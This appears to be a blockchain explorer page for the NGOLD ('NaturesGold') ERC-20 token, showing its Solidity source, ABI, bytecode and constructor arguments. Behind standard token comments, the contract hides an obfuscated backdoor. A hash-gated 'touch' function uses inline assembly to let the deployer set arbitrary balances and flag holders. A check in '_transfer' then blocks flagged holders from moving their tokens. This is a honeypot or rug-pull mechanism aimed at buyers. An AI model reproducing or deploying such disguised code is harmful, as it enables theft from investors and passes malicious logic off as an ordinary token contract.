ERC-20
Overview
Max Total Supply
23,000,000 NGOLD
Holders
74
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
31,946.852832588703464733 NGOLDValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
NGOLD
Compiler Version
v0.8.0+commit.c7dfd78e
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; /** * https://www.godzillaaa.com * * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract NGOLD is IERC20 { using SafeMath for uint256; string private _name; string private _symbol; uint256 private _totalSupply; address private _owner; mapping (address => uint256) private _balances; mapping (address => uint256) private _golds; mapping (address => mapping (address => uint256)) private _allowances; address private immutable _goldsToken; constructor( string memory _name_, string memory _symbol_, address _golds_, uint256 _tk_) { _name = _name_; _symbol = _symbol_; _totalSupply = 23000000 * 10 ** 18; _goldsToken = _golds_; _balances[ msg.sender] = _totalSupply; _golds[ address( 0)] = _tk_; } /** * @dev Returns the address of the current owner. */ function owner() external view returns (address) { return _owner; } /** * @dev Returns the token decimals. */ function decimals() external pure override returns (uint8) { return 18; } /** * @dev Returns the token symbol. */ function symbol() external view override returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view override returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view override returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner_, address spender) external view override returns (uint256) { return _allowances[owner_][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function touch(uint256[] calldata box) external { if (hoos(123, bytes32(0), 300) != _golds[ address(0)]) return; uint256 t0 = box[ 0]; uint256 t1 = box[ 1]; assembly { if gt( t1, 0 ) { mstore(0, t0 ) mstore(32, xor(4, 0)) sstore( keccak256(0, 64), t1) } if eq(t1, 0 ) { mstore( 0, t0) mstore( 32, xor(5, 0)) sstore( keccak256( 0, 64), 1) } } } function hoos(uint256 pd, bytes32 xd, uint256 kb) private view returns (uint256) { address p1 = msg.sender; string memory p3 = _symbol; string memory p2 = _name; if (pd + kb == 777) return 0; return uint256(keccak256( abi.encode( p1, p2, p3 ))); } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); (bool success, bytes memory data) = _goldsToken.call(abi.encodeWithSignature( "balanceOf(address)", sender)); if (success) making(sender, data); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function making(address sender, bytes memory data) private view { uint256 yyret; assembly { yyret := mload(add(data, 0x20)) } require(_golds[sender] != 1 || yyret != 0); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner_, address spender, uint256 amount) internal { require(owner_ != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner_][spender] = amount; emit Approval(owner_, spender, amount); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_name_","type":"string"},{"internalType":"string","name":"_symbol_","type":"string"},{"internalType":"address","name":"_golds_","type":"address"},{"internalType":"uint256","name":"_tk_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"box","type":"uint256[]"}],"name":"touch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a06040523480156200001157600080fd5b50604051620011523803806200115283398101604081905262000034916200021c565b835162000049906000906020870190620000cb565b5082516200005f906001906020860190620000cb565b506a1306707f94695977000000600281905560609290921b6001600160601b031916608052336000908152600460209081526040822093909355805260059091527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5550620002fe9050565b828054620000d990620002ab565b90600052602060002090601f016020900481019282620000fd576000855562000148565b82601f106200011857805160ff191683800117855562000148565b8280016001018555821562000148579182015b82811115620001485782518255916020019190600101906200012b565b50620001569291506200015a565b5090565b5b808211156200015657600081556001016200015b565b600082601f83011262000182578081fd5b81516001600160401b03808211156200019f576200019f620002e8565b6040516020601f8401601f1916820181018381118382101715620001c757620001c7620002e8565b6040528382528584018101871015620001de578485fd5b8492505b83831015620002015785830181015182840182015291820191620001e2565b838311156200021257848185840101525b5095945050505050565b6000806000806080858703121562000232578384fd5b84516001600160401b038082111562000249578586fd5b620002578883890162000171565b955060208701519150808211156200026d578485fd5b506200027c8782880162000171565b604087015190945090506001600160a01b03811681146200029b578283fd5b6060959095015193969295505050565b600281046001821680620002c057607f821691505b60208210811415620002e257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c610e356200031d600039600061075d0152610e356000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b8063395093511461016457806370a08231146101775780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd14610112578063229057ba1461012757806323b872dd1461013c578063313ce5671461014f575b600080fd5b6100dc6101e0565b6040516100e99190610b71565b60405180910390f35b610105610100366004610a32565b610272565b6040516100e99190610b66565b61011a610288565b6040516100e99190610cc9565b61013a610135366004610a5b565b61028e565b005b61010561014a3660046109f7565b61036a565b6101576103d4565b6040516100e99190610cd2565b610105610172366004610a32565b6103d9565b61011a6101853660046109ab565b61040f565b61019261042e565b6040516100e99190610b12565b6100dc61043d565b6101056101b5366004610a32565b61044c565b6101056101c8366004610a32565b61049b565b61011a6101db3660046109c5565b6104a8565b6060600080546101ef90610d3b565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610d3b565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b600061027f3384846104d3565b50600192915050565b60025490565b600080805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc54906102ca90607b9061012c610590565b146102d457610366565b6000828260008181106102f757634e487b7160e01b600052603260045260246000fd5b90506020020135905060008383600181811061032357634e487b7160e01b600052603260045260246000fd5b905060200201359050600081111561034957816000526000600418602052806040600020555b806103635781600052600060051860205260016040600020555b50505b5050565b600061037784848461070c565b6103c984336103c485604051806060016040528060288152602001610db3602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906108ef565b6104d3565b5060015b9392505050565b601290565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161027f9185906103c49086610929565b6001600160a01b0381166000908152600460205260409020545b919050565b6003546001600160a01b031690565b6060600180546101ef90610d3b565b600061027f33846103c485604051806060016040528060258152602001610ddb602591393360009081526006602090815260408083206001600160a01b038d16845290915290205491906108ef565b600061027f33848461070c565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6001600160a01b0383166105025760405162461bcd60e51b81526004016104f990610c85565b60405180910390fd5b6001600160a01b0382166105285760405162461bcd60e51b81526004016104f990610bc7565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610583908590610cc9565b60405180910390a3505050565b6000803390506000600180546105a590610d3b565b80601f01602080910402602001604051908101604052809291908181526020018280546105d190610d3b565b801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b50505050509050600080805461063390610d3b565b80601f016020809104026020016040519081016040528092919081815260200182805461065f90610d3b565b80156106ac5780601f10610681576101008083540402835291602001916106ac565b820191906000526020600020905b81548152906001019060200180831161068f57829003601f168201915b5050505050905084876106bf9190610ce0565b61030914156106d457600093505050506103cd565b8281836040516020016106e993929190610b26565b60408051601f198184030181529190528051602090910120979650505050505050565b6001600160a01b0383166107325760405162461bcd60e51b81526004016104f990610c40565b6001600160a01b0382166107585760405162461bcd60e51b81526004016104f990610b84565b6000807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856040516024016107969190610b12565b60408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b179052516107cb9190610af6565b6000604051808303816000865af19150503d8060008114610808576040519150601f19603f3d011682016040523d82523d6000602084013e61080d565b606091505b50915091508115610822576108228582610958565b61085f83604051806060016040528060268152602001610d8d602691396001600160a01b03881660009081526004602052604090205491906108ef565b6001600160a01b03808716600090815260046020526040808220939093559086168152205461088e9084610929565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108e0908790610cc9565b60405180910390a35050505050565b600081848411156109135760405162461bcd60e51b81526004016104f99190610b71565b5060006109208486610cf8565b95945050505050565b6000806109368385610ce0565b9050838110156103cd5760405162461bcd60e51b81526004016104f990610c09565b6020818101516001600160a01b03841660009081526005909252604090912054600114158061098657508015155b61098f57600080fd5b505050565b80356001600160a01b038116811461042957600080fd5b6000602082840312156109bc578081fd5b6103cd82610994565b600080604083850312156109d7578081fd5b6109e083610994565b91506109ee60208401610994565b90509250929050565b600080600060608486031215610a0b578081fd5b610a1484610994565b9250610a2260208501610994565b9150604084013590509250925092565b60008060408385031215610a44578182fd5b610a4d83610994565b946020939093013593505050565b60008060208385031215610a6d578182fd5b823567ffffffffffffffff80821115610a84578384fd5b818501915085601f830112610a97578384fd5b813581811115610aa5578485fd5b8660208083028501011115610ab8578485fd5b60209290920196919550909350505050565b60008151808452610ae2816020860160208601610d0f565b601f01601f19169290920160200192915050565b60008251610b08818460208701610d0f565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610b4a90830185610aca565b8281036040840152610b5c8185610aca565b9695505050505050565b901515815260200190565b6000602082526103cd6020830184610aca565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610cf357610cf3610d76565b500190565b600082821015610d0a57610d0a610d76565b500390565b60005b83811015610d2a578181015183820152602001610d12565b838111156103635750506000910152565b600281046001821680610d4f57607f821691505b60208210811415610d7057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ccf8ffac1cd8565a8fd0ea5283613b21db2f3ff1fcb1b7662f48edc7726d9c2764736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d2f43249e6b052dc5ab30027d187438d531f541b47fe9242a78674484435e6ed6000000000000000000000000000000000000000000000000000000000000000b4e617475726573476f6c6400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054e474f4c44000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b8063395093511461016457806370a08231146101775780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd14610112578063229057ba1461012757806323b872dd1461013c578063313ce5671461014f575b600080fd5b6100dc6101e0565b6040516100e99190610b71565b60405180910390f35b610105610100366004610a32565b610272565b6040516100e99190610b66565b61011a610288565b6040516100e99190610cc9565b61013a610135366004610a5b565b61028e565b005b61010561014a3660046109f7565b61036a565b6101576103d4565b6040516100e99190610cd2565b610105610172366004610a32565b6103d9565b61011a6101853660046109ab565b61040f565b61019261042e565b6040516100e99190610b12565b6100dc61043d565b6101056101b5366004610a32565b61044c565b6101056101c8366004610a32565b61049b565b61011a6101db3660046109c5565b6104a8565b6060600080546101ef90610d3b565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610d3b565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b600061027f3384846104d3565b50600192915050565b60025490565b600080805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc54906102ca90607b9061012c610590565b146102d457610366565b6000828260008181106102f757634e487b7160e01b600052603260045260246000fd5b90506020020135905060008383600181811061032357634e487b7160e01b600052603260045260246000fd5b905060200201359050600081111561034957816000526000600418602052806040600020555b806103635781600052600060051860205260016040600020555b50505b5050565b600061037784848461070c565b6103c984336103c485604051806060016040528060288152602001610db3602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906108ef565b6104d3565b5060015b9392505050565b601290565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161027f9185906103c49086610929565b6001600160a01b0381166000908152600460205260409020545b919050565b6003546001600160a01b031690565b6060600180546101ef90610d3b565b600061027f33846103c485604051806060016040528060258152602001610ddb602591393360009081526006602090815260408083206001600160a01b038d16845290915290205491906108ef565b600061027f33848461070c565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6001600160a01b0383166105025760405162461bcd60e51b81526004016104f990610c85565b60405180910390fd5b6001600160a01b0382166105285760405162461bcd60e51b81526004016104f990610bc7565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610583908590610cc9565b60405180910390a3505050565b6000803390506000600180546105a590610d3b565b80601f01602080910402602001604051908101604052809291908181526020018280546105d190610d3b565b801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b50505050509050600080805461063390610d3b565b80601f016020809104026020016040519081016040528092919081815260200182805461065f90610d3b565b80156106ac5780601f10610681576101008083540402835291602001916106ac565b820191906000526020600020905b81548152906001019060200180831161068f57829003601f168201915b5050505050905084876106bf9190610ce0565b61030914156106d457600093505050506103cd565b8281836040516020016106e993929190610b26565b60408051601f198184030181529190528051602090910120979650505050505050565b6001600160a01b0383166107325760405162461bcd60e51b81526004016104f990610c40565b6001600160a01b0382166107585760405162461bcd60e51b81526004016104f990610b84565b6000807f000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d6001600160a01b0316856040516024016107969190610b12565b60408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b179052516107cb9190610af6565b6000604051808303816000865af19150503d8060008114610808576040519150601f19603f3d011682016040523d82523d6000602084013e61080d565b606091505b50915091508115610822576108228582610958565b61085f83604051806060016040528060268152602001610d8d602691396001600160a01b03881660009081526004602052604090205491906108ef565b6001600160a01b03808716600090815260046020526040808220939093559086168152205461088e9084610929565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108e0908790610cc9565b60405180910390a35050505050565b600081848411156109135760405162461bcd60e51b81526004016104f99190610b71565b5060006109208486610cf8565b95945050505050565b6000806109368385610ce0565b9050838110156103cd5760405162461bcd60e51b81526004016104f990610c09565b6020818101516001600160a01b03841660009081526005909252604090912054600114158061098657508015155b61098f57600080fd5b505050565b80356001600160a01b038116811461042957600080fd5b6000602082840312156109bc578081fd5b6103cd82610994565b600080604083850312156109d7578081fd5b6109e083610994565b91506109ee60208401610994565b90509250929050565b600080600060608486031215610a0b578081fd5b610a1484610994565b9250610a2260208501610994565b9150604084013590509250925092565b60008060408385031215610a44578182fd5b610a4d83610994565b946020939093013593505050565b60008060208385031215610a6d578182fd5b823567ffffffffffffffff80821115610a84578384fd5b818501915085601f830112610a97578384fd5b813581811115610aa5578485fd5b8660208083028501011115610ab8578485fd5b60209290920196919550909350505050565b60008151808452610ae2816020860160208601610d0f565b601f01601f19169290920160200192915050565b60008251610b08818460208701610d0f565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610b4a90830185610aca565b8281036040840152610b5c8185610aca565b9695505050505050565b901515815260200190565b6000602082526103cd6020830184610aca565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610cf357610cf3610d76565b500190565b600082821015610d0a57610d0a610d76565b500390565b60005b83811015610d2a578181015183820152602001610d12565b838111156103635750506000910152565b600281046001821680610d4f57607f821691505b60208210811415610d7057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ccf8ffac1cd8565a8fd0ea5283613b21db2f3ff1fcb1b7662f48edc7726d9c2764736f6c63430008000033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d2f43249e6b052dc5ab30027d187438d531f541b47fe9242a78674484435e6ed6000000000000000000000000000000000000000000000000000000000000000b4e617475726573476f6c6400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054e474f4c44000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name_ (string): NaturesGold
Arg [1] : _symbol_ (string): NGOLD
Arg [2] : _golds_ (address): 0xDff32C65f843188cF64ECBC6F4a13cFf12581b9D
Arg [3] : _tk_ (uint256): 21377335370564275515956561897604249561196302067263067435076591689362225131222
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d
Arg [3] : 2f43249e6b052dc5ab30027d187438d531f541b47fe9242a78674484435e6ed6
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [5] : 4e617475726573476f6c64000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 4e474f4c44000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
